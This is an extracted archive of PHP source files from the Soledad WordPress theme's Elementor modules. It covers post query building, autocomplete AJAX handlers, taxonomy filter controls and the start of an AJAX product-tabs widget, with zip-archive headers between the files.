				'multiple'    => true,
				'options'     => array(
					'current_post'     => __( 'Current Post', 'soledad' ),
					'manual_selection' => __( 'Manual Selection', 'soledad' ),
				),
				'label_block' => true,
				'condition'   => array( 'posts_post_type!' => array( 'by_id', 'current_query' ) ),
			)
		);

		$widget->add_control(
			'exclude_ids',
			array(
				'label'       => __( 'Search by Title & Select', 'soledad' ),
				'type'        => 'penci_el_autocomplete',
				'search'      => 'penci_get_posts_by_query',
				'render'      => 'penci_get_posts_title_by_id',
				'post_type'   => 'all',
				'multiple'    => true,
				'label_block' => true,
				'condition'   => array(
					'exclude'          => 'manual_selection',
					'posts_post_type!' => array( 'by_id', 'current_query' ),
				),
			)
		);
	}

	public static function get_query_args( $control_id, $settings ) {
		$defaults = array(
			$control_id . '_post_type' => 'post',
			$control_id . '_posts_ids' => array(),
			'orderby'                  => 'date',
			'order'                    => 'desc',
			'related_post_by'          => '',
			'arposts_per_page'         => '',
			'posts_per_page'           => 3,
			'offset'                   => 0,
		);
		$paged    = ( get_query_var( 'paged' ) ) ? get_query_var( 'paged' ) : 1;
		$settings = wp_parse_args( $settings, $defaults );

		$post_type  = $settings[ $control_id . '_post_type' ];
		$igr_sticky = 1;

		if ( isset( $settings[ $control_id . '_ignore_sticky_posts' ] ) && ! $settings[ $control_id . '_ignore_sticky_posts' ] ) {
			$igr_sticky = false;
		}

		$query_args = array(
			'orderby'             => $settings['orderby'],
			'order'               => $settings['order'],
			'ignore_sticky_posts' => $igr_sticky,
			'post_status'         => 'publish',
			'post__not_in'        => array(),
		);

		$order_by 			= isset( $settings['orderby'] ) ? $settings['orderby'] : 'date';
		$orderby_meta_key 	= isset( $settings['orderby_meta_key'] ) ? $settings['orderby_meta_key'] : '';
		if ( 'popular' == $order_by ) {
			$query_args['meta_key'] = penci_get_postviews_key();
			$query_args['orderby']  = 'meta_value_num';
		} elseif ( 'popular_day' == $order_by ) {
			$query_args['meta_key'] = 'penci_post_day_views_count';
			$query_args['orderby']  = 'meta_value_num';
		} elseif ( 'popular7' == $order_by ) {
			$query_args['meta_key'] = 'penci_post_week_views_count';
			$query_args['orderby']  = 'meta_value_num';
		} elseif ( 'popular_month' == $order_by ) {
			$query_args['meta_key'] = 'penci_post_month_views_count';
			$query_args['orderby']  = 'meta_value_num';
		} elseif ( 'jetpack' == $order_by ) {
			$query_args['meta_key'] = '_jetpack_post_view';
			$query_args['orderby']  = 'meta_value_num';
		} elseif ( 'most_liked' == $order_by ) {
			$query_args['meta_key'] = '_post_like_count';
			$query_args['orderby']  = 'meta_value_num';
		} elseif ( 'metakey' == $order_by && $orderby_meta_key ) {
			$query_args['meta_key'] = $orderby_meta_key;
			$query_args['orderby']  = 'meta_value_num';
		}

		if ( 'multi_types' === $post_type ) {

			$post_type_selected = $settings[ $control_id . '_multi_types_option' ];
			
			$query_args['post_type'] 		= $post_type_selected;
			$query_args['posts_per_page'] 	= $settings['posts_per_page'];

			foreach ( $post_type_selected as $ptype ) {
				$taxonomy_filter_args = array(
					'show_in_nav_menus' => true,
					'object_type'       => array( $ptype ),
				);
	
				$taxonomies = get_taxonomies( $taxonomy_filter_args, 'objects' );
				
				foreach ( $taxonomies as $taxonomy => $object ) {
					$setting_in_key = $control_id . '_' . $object->name . '_multi_ids';
					$setting_ex_key = $control_id . '_' . $object->name . '_multi_exids';
					if ( ! empty( $settings[ $setting_in_key ] ) ) {
						$query_args['tax_query'][] = array(
							'taxonomy' => $taxonomy,
							'field'    => 'term_id',
							'terms'    => $settings[ $setting_in_key ],
						);
					}
					if ( ! empty( $settings[ $setting_ex_key ] ) ) {
						$query_args['tax_query'][] = array(
							'taxonomy' => $taxonomy,
							'field'    => 'term_id',
							'terms'    => $settings[ $setting_ex_key ],
							'operator' => 'NOT IN',
						);
					}
				}
			}


		} elseif ( 'by_id' === $post_type ) {
			$post_types = Utils::get_public_post_types();

			$query_args['post_type']      = array_keys( $post_types );
			$query_args['posts_per_page'] = - 1;
			$query_args['post__in']       = $settings[ $control_id . '_posts_ids' ];

			if ( empty( $query_args['post__in'] ) ) {
				$query_args['post__in'] = array( 0 );
			}
		} elseif ( 'current_query' === $post_type ) {
			$query = $GLOBALS['wp_query']->query_vars;
			unset( $query['post__not_in'] );

			return $query;

		} elseif ( 'related_posts' === $post_type ) {
			global $post;
			$post__not_in[]          = $post->ID;
			$query_args['post_type'] = get_post_type( $post->ID );

			$related_arg = penci_get_query_related_posts( $post->ID, $settings['posts_related_post_by'], $settings['orderby'], $settings['order'], $settings['posts_per_page'] );
			$query_args  = array_merge( $related_arg, $query_args );
		} else {
			$query_args['post_type']      = $post_type;
			$query_args['posts_per_page'] = $settings['posts_per_page'];
			$query_args['tax_query']      = array();

			if ( 0 < $settings['offset'] ) {
				$query_args['offset'] = $settings['offset'];
			}

			if ( ! empty( $settings['offset'] ) && $paged > 1 ) {
				$query_args['offset'] = $settings['offset'] + ( ( $paged - 1 ) * $settings['posts_per_page'] );
			}

			$taxonomies = get_object_taxonomies( $post_type, 'objects' );

			foreach ( $taxonomies as $object ) {
				$setting_key = $control_id . '_' . $object->name . '_ids';

				if ( ! empty( $settings[ $setting_key ] ) ) {
					$query_args['tax_query'][] = array(
						'taxonomy' => $object->name,
						'field'    => 'term_id',
						'terms'    => $settings[ $setting_key ],
					);
				}
			}

			foreach ( $taxonomies as $object ) {
				$setting_key = $control_id . '_' . $object->name . '_exids';

				if ( ! empty( $settings[ $setting_key ] ) ) {
					$query_args['tax_query'][] = array(
						'taxonomy' => $object->name,
						'field'    => 'term_id',
						'terms'    => $settings[ $setting_key ],
						'operator' => 'NOT IN',
					);
				}
			}
		}

		if ( ! empty( $settings[ $control_id . '_authors' ] ) ) {
			$query_args['author__in'] = $settings[ $control_id . '_authors' ];
		}

		$post__not_in = array();

		if ( 'related_posts' === $post_type ) {
			if ( wp_doing_ajax() && ! empty( $_REQUEST['post_id'] ) ) {
				$post__not_in[] = $_REQUEST['post_id'];
			} elseif ( is_singular() ) {
				$post__not_in[] = get_queried_object_id();
			}
		}

		if ( ! empty( $settings['exclude'] ) ) {
			if ( in_array( 'current_post', $settings['exclude'] ) || 'related_posts' === $post_type ) {
				if ( wp_doing_ajax() && ! empty( $_REQUEST['post_id'] ) ) {
					$post__not_in[] = $_REQUEST['post_id'];
				} elseif ( is_singular() ) {
					$post__not_in[] = get_queried_object_id();
				}
			}

			if ( in_array( 'manual_selection', $settings['exclude'] ) && ! empty( $settings['exclude_ids'] ) ) {
				$post__not_in = array_merge( $post__not_in, $settings['exclude_ids'] );
			}
		}

		if ( ! empty( $settings['avoid_duplicates'] ) && 'yes' === $settings['avoid_duplicates'] ) {
			$post__not_in = array_merge( $post__not_in, self::$displayed_ids );
		}

		$query_args['post__not_in'] = $post__not_in;

		if ( isset( $settings['query_id'] ) && $settings['query_id'] ) {
			$query_args = apply_filters( 'penci_elementor_query_' . $settings['query_id'], $query_args );
		}

		$query_args = apply_filters( 'penci_elementor_query_all', $query_args );

		$query = new \WP_Query( $query_args );// SQL_CALC_FOUND_ROWS is used.
		self::add_to_avoid_list( wp_list_pluck( $query->posts, 'ID' ) );

		return $query_args;
	}

	public static function add_to_avoid_list( $ids ) {
		self::$displayed_ids = array_merge( self::$displayed_ids, $ids );
	}

	public function exclude_ele_id( $query, $widget ) {
		self::add_to_avoid_list( wp_list_pluck( $query->posts, 'ID' ) );

		return $query;
	}

	public function get_name() {
		return 'query-control';
	}

	public function ajax_posts_filter_autocomplete( array $data ) {
		if ( empty( $data['filter_type'] ) || empty( $data['q'] ) ) {
			throw new \Exception( 'Bad Request' );
		}

		$results = array();

		switch ( $data['filter_type'] ) {
			case 'taxonomy':
				$query_params = array(
					'taxonomy'   => $data['object_type'],
					'search'     => $data['q'],
					'hide_empty' => false,
				);

				$terms = get_terms( $query_params );

				global $wp_taxonomies;

				foreach ( $terms as $term ) {
					$term_name = $this->get_term_name_with_parents( $term );
					if ( ! empty( $data['include_type'] ) ) {
						$text = $wp_taxonomies[ $term->taxonomy ]->labels->singular_name . ': ' . $term_name;
					} else {
						$text = $term_name;
					}

					$results[] = array(
						'id'   => $term->term_id,
						'text' => $text,
					);
				}

				break;

			case 'by_id':
			case 'post':
				$query_params = array(
					'post_type'      => $data['object_type'],
					's'              => $data['q'],
					'posts_per_page' => - 1,
				);

				if ( 'attachment' === $query_params['post_type'] ) {
					$query_params['post_status'] = 'inherit';
				}

				$query = new \WP_Query( $query_params );

				foreach ( $query->posts as $post ) {
					$post_type_obj = get_post_type_object( $post->post_type );
					if ( ! empty( $data['include_type'] ) ) {
						$text = $post_type_obj->labels->singular_name . ': ' . $post->post_title;
					} else {
						$text = ( $post_type_obj->hierarchical ) ? $this->get_post_name_with_parents( $post ) : $post->post_title;
					}

					$results[] = array(
						'id'   => $post->ID,
						'text' => $text,
					);
				}
				break;

			case 'author':
				$query_params = array(
					'capability'          => 'authors',
					'has_published_posts' => true,
					'fields'              => array(
						'ID',
						'display_name',
					),
					'search'              => '*' . $data['q'] . '*',
					'search_columns'      => array(
						'user_login',
						'user_nicename',
					),
				);

				$user_query = new \WP_User_Query( $query_params );

				foreach ( $user_query->get_results() as $author ) {
					$results[] = array(
						'id'   => $author->ID,
						'text' => $author->display_name,
					);
				}
				break;
			default:
				$results = array();
		}

		return array( 'results' => $results );
	}

	private function get_term_name_with_parents( \WP_Term $term, $max = 3 ) {
		if ( 0 === $term->parent ) {
			return $term->name;
		}
		$separator = is_rtl() ? ' < ' : ' > ';
		$test_term = $term;
		$names     = array();
		while ( $test_term->parent > 0 ) {
			$test_term = get_term_by( 'id', $test_term->parent, $test_term->taxonomy );
			if ( ! $test_term ) {
				break;
			}
			$names[] = $test_term->name;
		}

		$names = array_reverse( $names );
		if ( count( $names ) < ( $max ) ) {
			return implode( $separator, $names ) . $separator . $term->name;
		}

		$name_string = '';
		for ( $i = 0; $i < ( $max - 1 ); $i ++ ) {
			$name_string .= $names[ $i ] . $separator;
		}

		return $name_string . '...' . $separator . $term->name;
	}

	private function get_post_name_with_parents( $post, $max = 3 ) {
		if ( 0 === $post->post_parent ) {
			return $post->post_title;
		}
		$separator = is_rtl() ? ' < ' : ' > ';
		$test_post = $post;
		$names     = array();
		while ( $test_post->post_parent > 0 ) {
			$test_post = get_post( $test_post->post_parent );
			if ( ! $test_post ) {
				break;
			}
			$names[] = $test_post->post_title;
		}

		$names = array_reverse( $names );
		if ( count( $names ) < ( $max ) ) {
			return implode( $separator, $names ) . $separator . $post->post_title;
		}

		$name_string = '';
		for ( $i = 0; $i < ( $max - 1 ); $i ++ ) {
			$name_string .= $names[ $i ] . $separator;
		}

		return $name_string . '...' . $separator . $post->post_title;
	}

	public function ajax_posts_control_value_titles( $request ) {
		$ids = (array) $request['id'];

		$results = array();
		switch ( $request['filter_type'] ) {
			case 'taxonomy':
				$terms = get_terms(
					array(
						'include'    => $ids,
						'hide_empty' => false,
					)
				);

				foreach ( $terms as $term ) {
					$results[ $term->term_id ] = $term->name;
				}
				break;

			case 'by_id':
			case 'post':
				$query = new \WP_Query(
					array(
						'post_type'      => 'any',
						'post__in'       => $ids,
						'posts_per_page' => - 1,
					)
				);

				foreach ( $query->posts as $post ) {
					$results[ $post->ID ] = $post->post_title;
				}
				break;

			case 'authors':
			case 'author':
				$query_params = array(
					'capability'          => 'authors',
					'has_published_posts' => true,
					'fields'              => array( 'ID', 'display_name' ),
					'include'             => $ids,
				);

				$user_query = new \WP_User_Query( $query_params );

				foreach ( $user_query->get_results() as $author ) {
					$results[ $author->ID ] = $author->display_name;
				}

				break;
			default:
				$results = array();
		}

		return $results;
	}

	public function register_controls( Controls_Manager $controls_manager ) {

		$controls_manager->add_group_control( Penci_Group_Control_Posts::get_type(), new Penci_Group_Control_Posts() );

		$controls_manager->register( new Query() );
	}

	public function fix_query_offset( &$query ) {
		if ( ! empty( $query->query_vars['offset_to_fix'] ) ) {
			if ( $query->is_paged ) {
				$query->query_vars['offset'] = $query->query_vars['offset_to_fix'] + ( ( $query->query_vars['paged'] - 1 ) * $query->query_vars['posts_per_page'] );
			} else {
				$query->query_vars['offset'] = $query->query_vars['offset_to_fix'];
			}
		}
	}

	public function fix_query_found_posts( $found_posts, $query ) {
		$offset_to_fix = $query->get( 'offset_to_fix' );

		if ( $offset_to_fix ) {
			$found_posts -= $offset_to_fix;
		}

		return $found_posts;
	}

	public function register_ajax_actions( $ajax_manager ) {
		if ( ! defined( 'ELEMENTOR_PRO_VERSION' ) ) {
			$ajax_manager->register_ajax_action(
				'query_control_value_titles',
				array(
					$this,
					'ajax_posts_control_value_titles',
				)
			);
		}
		$ajax_manager->register_ajax_action(
			'penci_panel_posts_control_filter_autocomplete',
			array(
				$this,
				'ajax_posts_filter_autocomplete',
			)
		);
	}

	public function localize_settings( $settings ) {
		$settings = array_replace_recursive(
			$settings,
			array(
				'i18n' => array( 'all' => __( 'All', 'soledad' ) ),
			)
		);

		return $settings;
	}
}
PK     N\d~#  ~#  J  inc/elementor/modules/query-control/controls/penci-group-control-posts.phpnu [        <?php

namespace PenciSoledadElementor\Modules\QueryControl\Controls;

use Elementor\Controls_Manager;
use Elementor\Group_Control_Base;
use PenciSoledadElementor\Classes\Utils;

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly
}

class Penci_Group_Control_Posts extends Group_Control_Base {

	const INLINE_MAX_RESULTS = 100;

	protected static $fields;

	public static function get_type() {
		return 'posts';
	}

	public static function on_export_remove_setting_from_element( $element, $control_id ) {
		unset( $element['settings'][ $control_id . '_posts_ids' ] );
		unset( $element['settings'][ $control_id . '_authors' ] );

		foreach ( Utils::get_public_post_types() as $post_type => $label ) {
			$taxonomy_filter_args = array(
				'show_in_nav_menus' => true,
				'object_type'       => array( $post_type ),
			);

			$taxonomies = get_taxonomies( $taxonomy_filter_args, 'objects' );

			foreach ( $taxonomies as $taxonomy => $object ) {
				unset( $element['settings'][ $control_id . '_' . $taxonomy . '_ids' ] );
			}
		}

		return $element;
	}

	final protected function init_fields() {
		$fields = array();

		$fields['post_type'] = array(
			'label' => __( 'Source', 'soledad' ),
			'type'  => Controls_Manager::SELECT,
		);

		$fields['related_post_by'] = array(
			'label'       => __( 'Display Related Posts By', 'soledad' ),
			'label_block' => true,
			'type'        => Controls_Manager::SELECT,
			'multiple'    => false,
			'default'     => 'categories',
			'options'     => array(
				'categories'  => __('Categories','soledad' ),
				'tags'        => __('Tags','soledad' ),
				'primary_cat' => __('Primary Category from "Yoast SEO" or "Rank Math" plugin','soledad' ),
			),
			'condition'   => array( 'post_type' => array( 'related_posts' ) ),
		);

		$fields['posts_ids'] = array(
			'label'       => __( 'Search by Title & Select', 'soledad' ),
			'type'        => 'penci_el_autocomplete',
			'search'      => 'penci_get_posts_by_query',
			'render'      => 'penci_get_posts_title_by_id',
			'post_type'   => 'all',
			'multiple'    => true,
			'label_block' => true,
			'condition'   => array( 'post_type' => 'by_id' ),
		);

		$fields['authors'] = array(
			'label'       => __( 'Author', 'soledad' ),
			'label_block' => true,
			'multiple'    => true,
			'type'        => 'penci_el_autocomplete',
			'search'      => 'penci_get_user_by_query',
			'render'      => 'penci_get_user_title_by_id',
			'condition'   => array( 'post_type!' => array( 'by_id', 'current_query' ) ),
		);

		$fields['multi_types_option'] = array(
			'label'       => __( 'Select Post Types', 'soledad' ),
			'label_block' => true,
			'type'        => Controls_Manager::SELECT2,
			'multiple'    => true,
			'default'     => ['post'],
			'condition'   => array( 'post_type' => 'multi_types' ),
			'options'     => Utils::get_public_post_types(),
		);
		
		foreach ( Utils::get_public_post_types() as $post_type => $label ) {

			$taxonomies = get_taxonomies( array(
				'show_in_nav_menus' => true,
				'object_type'       => array( $post_type ),
			), 'objects' );

			foreach ( $taxonomies as $taxonomy => $object ) {
				$taxonomy_args = array(
					'label'       => 'Include ' . $label . ' - ' . $object->label,
					'label_block' => true,
					'multiple'    => true,
					'object_type' => $taxonomy,
					'source_name' => 'taxonomy',
					'source_type' => $taxonomy,
					'options'     => array(),
					'conditions' => [
						'terms' => [
							[
								'name' => 'post_type',
								'operator' => '==',
								'value' => 'multi_types',
							],
							[
								'name' => 'multi_types_option',
								'operator' => 'contains',
								'value' => $post_type,
							],
						],
					],
				);

				$count = wp_count_terms( $taxonomy );

				$options = array();

				if ( $count > self::INLINE_MAX_RESULTS ) {
					$taxonomy_args['type'] = 'penci-select2';
					$taxonomy_args['filter_type'] = 'taxonomy';
				} else {
					$taxonomy_args['type'] = Controls_Manager::SELECT2;

					$terms = get_terms(
						array(
							'taxonomy'   => $taxonomy,
							'hide_empty' => false,
						)
					);

					foreach ( $terms as $term ) {
						$options[ $term->term_id ] = $term->name;
					}

					$taxonomy_args['options'] = $options;
				}

				$fields[ $object->name . '_multi_ids' ] = $taxonomy_args;

				$taxonomy_args = array(
					'label'       => 'Exclude ' . $label . ' - ' . $object->label,
					'label_block' => true,
					'multiple'    => true,
					'object_type' => $taxonomy,
					'source_name' => 'taxonomy',
					'source_type' => $taxonomy,
					'options'     => array(),
					'conditions' => [
						'terms' => [
							[
								'name' => 'post_type',
								'operator' => '==',
								'value' => 'multi_types',
							],
							[
								'name' => 'multi_types_option',
								'operator' => 'contains',
								'value' => $post_type,
							],
						],
					],
				);

				if ( $count > self::INLINE_MAX_RESULTS ) {
					$taxonomy_args['type'] = 'penci-select2';
					$taxonomy_args['filter_type'] = 'taxonomy';
				} else {
					$taxonomy_args['type'] = Controls_Manager::SELECT2;

					$terms = get_terms(
						array(
							'taxonomy'   => $taxonomy,
							'hide_empty' => false,
						)
					);

					foreach ( $terms as $term ) {
						$options[ $term->term_id ] = $term->name;
					}

					$taxonomy_args['options'] = $options;
				}

				$fields[ $object->name . '_multi_exids' ] = $taxonomy_args;
			}
		}

		return $fields;
	}

	final protected function prepare_fields( $fields ) {
		$args = $this->get_args();

		$post_types = Utils::get_public_post_types( $args );

		$post_types_options = $post_types;

		$post_types_options['by_id']         = __( 'Manual Selection', 'soledad' );
		$post_types_options['current_query'] = __( 'Archive Builder / Current Query', 'soledad' );
		$post_types_options['related_posts'] = __( 'Post Builder - Related Posts', 'soledad' );
		$post_types_options['multi_types'] 	 = __( 'Multi Post Types', 'soledad' );

		$fields['post_type']['options'] = $post_types_options;

		$fields['post_type']['default'] = key( $post_types );

		$fields['posts_ids']['object_type'] = array_keys( $post_types );

		$taxonomy_filter_args = array( 'show_in_nav_menus' => true );

		if ( ! empty( $args['post_type'] ) ) {
			$taxonomy_filter_args['object_type'] = array( $args['post_type'] );
		}

		$taxonomies = get_taxonomies( $taxonomy_filter_args, 'objects' );

		foreach ( $taxonomies as $taxonomy => $object ) {
			$taxonomy_args = array(
				'label'       => 'Include ' . $object->label,
				'label_block' => true,
				'multiple'    => true,
				'object_type' => $taxonomy,
				'source_name' => 'taxonomy',
				'source_type' => $taxonomy,
				'options'     => array(),
				'condition'   => array( 'post_type' => $object->object_type ),
				'dynamic' => [
					'active' => true,
				],
			);

			$count = wp_count_terms( $taxonomy );

			$options = array();

			if ( $count > self::INLINE_MAX_RESULTS ) {
				$taxonomy_args['type'] = 'penci-select2';

				$taxonomy_args['filter_type'] = 'taxonomy';
			} else {
				$taxonomy_args['type'] = Controls_Manager::SELECT2;

				$terms = get_terms(
					array(
						'taxonomy'   => $taxonomy,
						'hide_empty' => false,
					)
				);

				foreach ( $terms as $term ) {
					$options[ $term->term_id ] = $term->name;
				}

				$taxonomy_args['options'] = $options;
			}

			$fields[ $taxonomy . '_ids' ] = $taxonomy_args;
		}

		foreach ( $taxonomies as $taxonomy => $object ) {
			$taxonomy_args = array(
				'label'       => 'Exclude ' . $object->label,
				'label_block' => true,
				'multiple'    => true,
				'object_type' => $taxonomy,
				'source_name' => 'taxonomy',
				'source_type' => $taxonomy,
				'options'     => array(),
				'condition'   => array( 'post_type' => $object->object_type ),
			);

			$count = wp_count_terms( $taxonomy );

			$options = array();

			if ( $count > self::INLINE_MAX_RESULTS ) {
				$taxonomy_args['type'] = 'penci-select2';

				$taxonomy_args['filter_type'] = 'taxonomy';
			} else {
				$taxonomy_args['type'] = Controls_Manager::SELECT2;

				$terms = get_terms(
					array(
						'taxonomy'   => $taxonomy,
						'hide_empty' => false,
					)
				);

				foreach ( $terms as $term ) {
					$options[ $term->term_id ] = $term->name;
				}

				$taxonomy_args['options'] = $options;
			}

			$fields[ $taxonomy . '_exids' ] = $taxonomy_args;
		}

		$fields['ignore_sticky_posts'] = array(
			'label'       => __( 'Ignore Sticky Posts', 'soledad' ),
			'type'        => Controls_Manager::SWITCHER,
			'default'     => 'yes',
			'condition'   => array( 'post_type' => 'post' ),
			'description' => __( 'Sticky-posts ordering is visible on frontend only. And includes sticky posts doesn\'t work if you filter your posts by a taxonomy or multiple taxonomies (categories, tags... ) - because it doesn\'t support by WordPress itself.', 'soledad' ),
			'separator'   => 'before',
		);

		return parent::prepare_fields( $fields );
	}

	protected function get_default_options() {
		return array( 'popover' => false );
	}
}
PK     N\Zw    6  inc/elementor/modules/query-control/controls/query.phpnu [        <?php
namespace PenciSoledadElementor\Modules\QueryControl\Controls;

use Elementor\Control_Select2;

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly
}

class Query extends Control_Select2 {

	public function get_type() {
		return 'query';
	}

	protected function get_default_settings() {
		return array_merge(
			parent::get_default_settings(), [
				'query' => '',
			]
		);
	}
}
PK     N\Xօ      3  inc/elementor/modules/penci-product-tabs/module.phpnu [        <?php

namespace PenciSoledadElementor\Modules\PenciProductTabs;

use PenciSoledadElementor\Base\Module_Base;

class Module extends Module_Base {

	public function get_name() {
		return 'penci_product_tabs';
	}

	public function get_widgets() {
		return array( 'PenciProductTabs' );
	}
}
PK     N\Iϳs  s  G  inc/elementor/modules/penci-product-tabs/widgets/penci-product-tabs.phpnu [        <?php

namespace PenciSoledadElementor\Modules\PenciProductTabs\Widgets;

use Elementor\Controls_Manager;
use Elementor\Group_Control_Image_Size;
use Elementor\Group_Control_Typography;
use Elementor\Repeater;
use PenciSoledadElementor\Base\Base_Widget;

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Direct access not allowed.
}

/**
 * Elementor widget that inserts an embeddable content into the page, from any given URL.
 *
 * @since 1.0.0
 */
class PenciProductTabs extends Base_Widget {
	/**
	 * Get widget name.
	 *
	 * @return string Widget name.
	 * @since 1.0.0
	 * @access public
	 *
	 */
	public function get_name() {
		return 'penci_products_tabs';
	}

	/**
	 * Get widget title.
	 *
	 * @return string Widget title.
	 * @since 1.0.0
	 * @access public
	 *
	 */
	public function get_title() {
		return penci_get_theme_name( 'Penci' ) . ' ' . esc_html__( ' AJAX Products Tabs', 'soledad' );
	}

	/**
	 * Get widget icon.
	 *
	 * @return string Widget icon.
	 * @since 1.0.0
	 * @access public
	 *
	 */
	public function get_icon() {
		return 'eicon-tabs';
	}

	/**
	 * Get widget categories.
	 *
	 * @return array Widget categories.
	 * @since 1.0.0
	 * @access public
	 *
	 */
	public function get_categories() {
		return [ 'penci-elements' ];
	}

	/**
	 * Register the widget controls.
	 *
	 * @since 1.0.0
	 * @access protected
	 */
	protected function register_controls() {
		/**
		 * Content tab.
		 */

		/**
		 * General settings.
		 */
		$this->start_controls_section(
			'general_content_section',
			[
				'label' => esc_html__( 'General', 'soledad' ),
			]
		);

		$this->add_control(
			'title',
			[
				'label'   => esc_html__( 'Tabs title', 'soledad' ),
				'type'    => Controls_Manager::TEXT,
				'default' => 'Title text example',
			]
		);

		$this->add_control(
			'product_label_hot',
			[
				'label'        => esc_html__( 'Hidden Hot Label', 'soledad' ),
				'type'         => Controls_Manager::SWITCHER,
				'default'      => '0',
				'label_on'     => esc_html__( 'Yes', 'soledad' ),
				'label_off'    => esc_html__( 'No', 'soledad' ),
				'return_value' => 'none',
				'selectors'    => [
					'{{WRAPPER}} .penci-soledad-product .product-labels .product-label.featured' => 'display:{{VALUE}}',
				],
			]
		);

		$this->add_control(
			'product_label_new',
			[
				'label'        => esc_html__( 'Hidden New Label', 'soledad' ),
				'type'         => Controls_Manager::SWITCHER,
				'default'      => '0',
				'label_on'     => esc_html__( 'Yes', 'soledad' ),
				'label_off'    => esc_html__( 'No', 'soledad' ),
				'return_value' => 'none',
				'selectors'    => [
					'{{WRAPPER}} .penci-soledad-product .product-labels .product-label.new' => 'display:{{VALUE}}',
				],
			]
		);

		$this->add_control(
			'product_label_sale',
			[
				'label'        => esc_html__( 'Hidden Sale Label', 'soledad' ),
				'type'         => Controls_Manager::SWITCHER,
				'default'      => '0',
				'label_on'     => esc_html__( 'Yes', 'soledad' ),
				'label_off'    => esc_html__( 'No', 'soledad' ),
				'return_value' => 'none',
				'selectors'    => [
					'{{WRAPPER}} .penci-soledad-product .product-labels .product-label.onsale' => 'display:{{VALUE}}',
				],
			]
		);

		$this->end_controls_section();

		/**
		 * Tabs settings.
		 */
		$this->start_controls_section(
			'tabs_content_section',
			[
				'label' => esc_html__( 'Tabs', 'soledad' ),
			]
		);

		$repeater = new Repeater();

		$repeater->start_controls_tabs( 'content_tabs' );

		$repeater->start_controls_tab(
			'query_tab',
			[
				'label' => esc_html__( 'Query', 'soledad' ),
			]
		);

		$repeater->add_control(
			'post_type',
			[
				'label'       => esc_html__( 'Data source', 'soledad' ),
				'description' => esc_html__( 'Select content type for your grid.', 'soledad' ),
				'type'        => Controls_Manager::SELECT,
				'default'     => 'product',
				'options'     => array(
					'product'            => esc_html__( 'All Products', 'soledad' ),
					'featured'           => esc_html__( 'Featured Products', 'soledad' ),
					'sale'               => esc_html__( 'Sale Products', 'soledad' ),
					'new'                => esc_html__( 'Products with NEW label', 'soledad' ),
					'bestselling'        => esc_html__( 'Bestsellers', 'soledad' ),
					'ids'                => esc_html__( 'List of IDs', 'soledad' ),
					'top_rated_products' => esc_html__( 'Top Rated Products', 'soledad' ),
					'recent_viewed'      => esc_html__( 'Recent Viewed Products', 'soledad' ),
				),
			]
		);

		$repeater->add_control(
			'include',
			[
				'label'       => esc_html__( 'Include only', 'soledad' ),
				'description' => esc_html__( 'Add products by title.', 'soledad' ),
				'type'        => 'penci_el_autocomplete',
				'search'      => 'penci_get_posts_by_query',
				'render'      => 'penci_get_posts_title_by_id',
				'post_type'   => 'product',
				'multiple'    => true,
				'label_block' => true,
				'condition'   => [
					'post_type' => 'ids',
				],
			]
		);

		$repeater->add_control(
			'taxonomies',
			[
				'label'       => esc_html__( 'Categories or tags', 'soledad' ),
				'description' => esc_html__( 'List of product categories.', 'soledad' ),
				'type'        => 'penci_el_autocomplete',
				'search'      => 'penci_get_taxonomies_by_query',
				'render'      => 'penci_get_taxonomies_title_by_id',
				'taxonomy'    => array_merge( [ 'product_cat', 'product_tag' ], $this->get_product_attributes_array() ),
				'multiple'    => true,
				'label_block' => true,
				'condition'   => [
					'post_type!' => 'ids',
				],
			]
		);

		$repeater->add_control(
			'orderby',
			[
				'label'       => esc_html__( 'Order by', 'soledad' ),
				'description' => esc_html__( 'Select order type. If "Meta value" or "Meta value Number" is chosen then meta key is required.', 'soledad' ),
				'type'        => Controls_Manager::SELECT,
				'default'     => '',
				'options'     => array(
					''               => '',
					'date'           => esc_html__( 'Date', 'soledad' ),
					'id'             => esc_html__( 'ID', 'soledad' ),
					'author'         => esc_html__( 'Author', 'soledad' ),
					'title'          => esc_html__( 'Title', 'soledad' ),
					'modified'       => esc_html__( 'Last modified date', 'soledad' ),
					'comment_count'  => esc_html__( 'Number of comments', 'soledad' ),
					'menu_order'     => esc_html__( 'Menu order', 'soledad' ),
					'meta_value'     => esc_html__( 'Meta value', 'soledad' ),
					'meta_value_num' => esc_html__( 'Meta value number', 'soledad' ),
					'rand'           => esc_html__( 'Random order', 'soledad' ),
					'price'          => esc_html__( 'Price', 'soledad' ),
				),
			]
		);

		$repeater->add_control(
			'offset',
			[
				'label'       => esc_html__( 'Offset', 'soledad' ),
				'description' => esc_html__( 'Number of grid elements to displace or pass over.', 'soledad' ),
				'type'        => Controls_Manager::TEXT,
				'condition'   => [
					'post_type!' => 'ids',
				],
			]
		);

		$repeater->add_control(
			'query_type',
			[
				'label'   => esc_html__( 'Query type', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'default' => 'OR',
				'options' => array(
					'OR'  => esc_html__( 'OR', 'soledad' ),
					'AND' => esc_html__( 'AND', 'soledad' ),
				),
			]
		);

		$repeater->add_control(
			'order',
			[
				'label'       => esc_html__( 'Sort order', 'soledad' ),
				'description' => 'Designates the ascending or descending order. More at <a href="http://codex.wordpress.org/Class_Reference/WP_Query#Order_.26_Orderby_Parameters" target="_blank">WordPress codex page</a>.',
				'type'        => Controls_Manager::SELECT,
				'default'     => '',
				'options'     => array(
					''     => esc_html__( 'Inherit', 'soledad' ),
					'DESC' => esc_html__( 'Descending', 'soledad' ),
					'ASC'  => esc_html__( 'Ascending', 'soledad' ),
				),
				'condition'   => [
					'post_type!' => 'ids',
				],
			]
		);

		$repeater->add_control(
			'meta_key',
			[
				'label'       => esc_html__( 'Meta key', 'soledad' ),
				'description' => esc_html__( 'Input meta key for grid ordering.', 'soledad' ),
				'type'        => Controls_Manager::TEXTAREA,
				'condition'   => [
					'orderby' => [ 'meta_value', 'meta_value_num' ],
				],
			]
		);

		$repeater->add_control(
			'exclude',
			[
				'label'       => esc_html__( 'Exclude', 'soledad' ),
				'description' => esc_html__( 'Exclude posts, pages, etc. by title.', 'soledad' ),
				'type'        => 'penci_el_autocomplete',
				'search'      => 'penci_get_posts_by_query',
				'render'      => 'penci_get_posts_title_by_id',
				'post_type'   => 'product',
				'multiple'    => true,
				'label_block' => true,
				'condition'   => [
					'post_type!' => 'ids',
				],
			]
		);

		$repeater->end_controls_tab();

		$repeater->start_controls_tab(
			'text_tab',
			[
				'label' => esc_html__( 'Text', 'soledad' ),
